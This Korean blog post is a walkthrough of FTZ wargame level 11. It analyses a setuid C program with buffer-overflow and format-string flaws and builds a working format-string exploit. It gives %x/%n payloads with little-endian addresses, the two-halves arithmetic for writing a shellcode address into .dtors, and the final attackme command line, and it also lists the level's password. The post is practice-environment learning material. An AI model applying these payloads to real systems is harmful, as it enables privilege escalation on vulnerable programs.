tmxklab

[FTZ] Level11 풀이 본문

War Game/FTZ

[FTZ] Level11 풀이

tmxk4221 2020. 1. 12. 21:19

1. 문제 확인

1) 사용자 및 패스워드 : level11 / what!@#$?

 

2) 파일 확인

 

3) hint 코드 설명

#include <stdio.h>
#include <stdlib.h>

// argc, argv를 통해 인자 값을 받아 실행
int main( int argc, char *argv[])
{
	// char형 str변수 256바이트 할당
	char str[256];
	
	// 실제 사용자 ID와 유효 사용자 ID 3092로 설정
	setreuid(3092, 3092);
	// argv[1]인자 값을 str변수에 복사
	strcpy(str, argv[1]);
	printf(str);
}

- 프로그램 실행 시 인자 값을 받아 str배열에 복사한 뒤 출력해주는 코드

- strcpy()에서 str배열의 크기(256bytes)보다 더 많은 값을 argv[1]에 넣을 수 있음 -> bof취약점 존재

- printf()에서 포맷을 지정하지 않고 str출력 ->포맷스트링 취약점 존재


2. 접근방법

1) attackme 디버깅

 

① strcpy()를 이용한 bof 공격

   - strcpy()에서 버퍼의 크기를 고려하지 않고 str배열의 크기(256bytes)보다 더 큰 값 입력 가능 

   - 따라서, 256bytes의 더미 값과 return주소 값에 넣을 쉘 코드 사용하면 공격 가능

 

② printf()를 이용한 포맷스트링 공격

   - str변수에 %d와 같은 서식문자가 들어갈 경우 문자열로 보지 않고 서식문자로 인식

   - 즉, str변수에 형식 지정자의 개수만큼 인자들이 스택에서 esp가 가리키는 값을 추출

   - %n을 활용하여 리턴 주소 값에 쉘 코드 주소 사용 

 

2) 스택구조

 

3) 결론

   -  여기서는 printf()를 이용한 포맷스트링 공격 실시


3. 풀이

 

※ 포맷스트링 버그 테스트

   - printf()실행 시 인자로 스택에 저장된 str변수의 주소를 참조하여 화면에 출력 시작

   - esp는 스택에서 printf()의 인자(str)가 저장된 곳의 시작점을 가리킴

   - 만약 str에 "AAAA%x"를 입력 시 "AAAA"는 그대로 출력하고 %x는 esp의 다음 4btyes를 가리켜 출력 

   - "AAAA%x%x%x%x"를 입력 시 "AAAA + 주소 값 + 주소 값 + 주소 값 + 41414141"출력함(41은 A아스키코드 값)

   - 위 결과를 통해 printf()에서 esp가 3번 높은 주소로 이동하면 str변수가 위치한 주소 값을 참조하는 것을 알 수 있음

※ 서식 문자 %n

   - %n이 나오기 전에 출력된 자릿수를 계산 후 다음 4bytes에 있는 내용을 주소로 여겨 해당 주소에 계산한 자릿수를 입력

   - 만약, "AAAA%n"을 넣게되면 %n의 전에 AAAA가 4자리수이므로 다음 4bytes의 내용을 주소로 여겨 계산한 자릿수 4를 넣게 됨

   - 따라서, %n을 사용하여 RET주소에 쉘 코드 주소 적용가능

   - 추가로 %c100%n을 사용하면 100자리로 인식하여 100이라는 숫자를 입력

 

※ 문제 1

- 쉘 코드의 주소를 입력하기 위해 10진수로 변경하여 입력

- 하지만, x86시스템에서 0xffffffff만큼의 크기를 지정할 수 없음 → 쉘 코드의 주소를 2bytes씩 나눠 입력

- 만약, 쉘 코드 주소 값이 0xbffffab8이며 RET주소가 0x08049594이면  fab8(64,184)는 0x08049594의 주소에 넣고, bfff(49,151)은 0x08049594에서 2bytes 증가한 0x08049596에 넣어야 함

- 또한, 리눅스 시스템은 리틀 엔디안방식을 사용하므로 주소 값을 넣을때 리틀 엔디안 방식으로 넣어야 함

 

쉘 코드 주소 값 0xbffffab8 -> 0xbfff(49151) / 0xfab8(64184)
RET주소 값 또는 .dtors 주소 값       : 0x08049594

(페이로드1) AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64184c%n%49151c%n

 

 

※ 문제 2

- 쉘 코드 주소 값이 0xbfff fab8이므로 2bytes씩 나눠야 함

- 또한, %n은 %n이 나오기 전까지 모든 자릿수를 계산하므로 0xfab8이 나오기 전의 모든 자릿 수 고려

 

- 따라서,  다음과 같이 계산

쉘 코드 주소 값 0xbfff fab8

주소1 : 64,184(0xfab8) - 40(bytes) = 64,144

주소2 : 114,687(0x1bffff) - 64,144 - 40 = 50,503

 

참고로, 주소 2에서 1을 붙인 이유는 49,151(0xbfff) - 64,144 계산을 하면 음수가 되므로 1을 붙여 계산

(페이로드2) AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n

결국, printf()가 실행되고 str의 값을 읽다가 %n이 오면 0xfab8이 esp가 가리키는 다음 4바이트의 내용 \x94\x95\x04\x08에 저장되고 다시 %n이오면 0xbfff가 방금 esp가 가르켰던 다음 4바이트인 \x96\x95\x04\x08에 저장

 

 

※ 공격 준비

이제 해야할 일은 ① 쉘 코드 주소와 ② RET주소 또는 .dtors의 주소를 알아내는 과정

 

① 쉘 코드 주소 

- 환경 변수에 쉘 코드 주소 저장 후 getenv()를 사용하여 쉘 코드 주소를 알아내면 됨 

 

② .dtors(RET주소 값은 쉘이 실행될 때 자주 바뀌므로 편한 방식 사용)

- .dtors는 main()가 끝나고 실행되는 명령이 있는 곳

- gcc로 컴파일한 경우에만 존재

- 따라서, .dtors의 주소 값에 +4만큼의 위치에 쉘 코드 주소를 덮어씌우면 됨

- $objdump -h attackme | grep .dtors (해당 명령어로 주소 알아냄)

 

※ 포맷스트링 공격

공격 코드

./attackme ``python -c 'print "AAAA\x94\x95\x04\x08AAAA\x96\x95\x04\x08%8x%8x%8x%64144c%n%50503c%n"'`` 

 

'War Game > FTZ' 카테고리의 다른 글

[FTZ] Level16 풀이  (0) 2020.01.12
[FTZ] Level15 풀이  (0) 2020.01.12
[FTZ] Level14 풀이  (0) 2020.01.12
[FTZ] Level13 풀이  (0) 2020.01.12
[FTZ] Level12 풀이  (0) 2020.01.12
Comments